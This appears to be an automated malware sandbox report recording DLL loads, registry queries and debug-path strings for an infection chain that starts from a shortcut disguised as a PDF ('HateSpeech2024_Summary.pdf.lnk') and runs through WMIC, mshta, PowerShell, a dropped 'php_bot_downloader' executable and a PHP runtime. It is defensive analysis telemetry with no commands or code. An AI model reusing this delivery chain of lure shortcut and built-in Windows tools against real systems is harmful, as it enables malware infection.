Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\tar.exe	Section loaded: archiveint.dll
Source: C:\Windows\System32\tar.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\tar.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Section loaded: php8ts.dll
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Section loaded: php8ts.dll
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Section loaded: fwpuclnt.dll

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: HateSpeech2024_Summary.pdf.lnk.bin.lnk

LNK file: ..\..\..\Windows\System32\Wbem\wmic.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x64\obj\Release_TS\php8ts.pdb source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: sethc.pdbGCTL source: mshta.exe, 00000005.00000003.1677761143.000001EB131FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840765627.000001EB1396A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840765627.000001EB139C7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1839341806.000001EB13A67000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840318424.000001EB1395B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1842211450.000001EB13116000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1679419864.000001EB131FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1843243271.000001EB13118000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1841460930.000001EB0EFB4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840586133.000001EB13968000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1841125562.000001EB1315A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1842473193.000001EB138C6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1841348809.000001EB13071000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1839954374.000001EB15CC1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840963450.000001EB139FA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1842138558.000001EB0EFA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1842172300.000001EB0EFAA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x64\obj\Release_TS\php.pdb source: php.exe, 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmp, php.exe, 00000018.00000000.2016553083.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmp, php.exe, 0000001C.00000000.2188454449.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmp, php.exe, 0000001C.00000002.2894997934.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x64\obj\Release_TS\php_pdo_mysql.pdb source: php_pdo_mysql.dll.21.dr
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x64\obj\Release_TS\php_mysqli.pdb source: php_mysqli.dll.21.dr
Source:	Binary string: sethc.pdb source: mshta.exe, 00000005.00000003.1677761143.000001EB131FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840765627.000001EB139C7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1842211450.000001EB13116000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1679419864.000001EB131FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1843243271.000001EB13118000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1842473193.000001EB138C6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1841348809.000001EB13071000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1842138558.000001EB0EFA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1842172300.000001EB0EFAA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x64\obj\Release_TS\php.pdb"""UGP source: php.exe, 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmp, php.exe, 00000018.00000000.2016553083.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmp, php.exe, 0000001C.00000000.2188454449.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmp, php.exe, 0000001C.00000002.2894997934.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: 1D:\a\php-ftw\php-ftw\php\vs16\x64\obj\Release_TS\php8ts.pdb source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: tar.exe, 00000015.00000003.2012701021.0000021721947000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2013269823.000002172195E000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2012847011.0000021721956000.00000004.00000020.00020000.00000000.sdmp, php.exe, 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmp, php.exe, 0000001C.00000002.2896990047.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmp
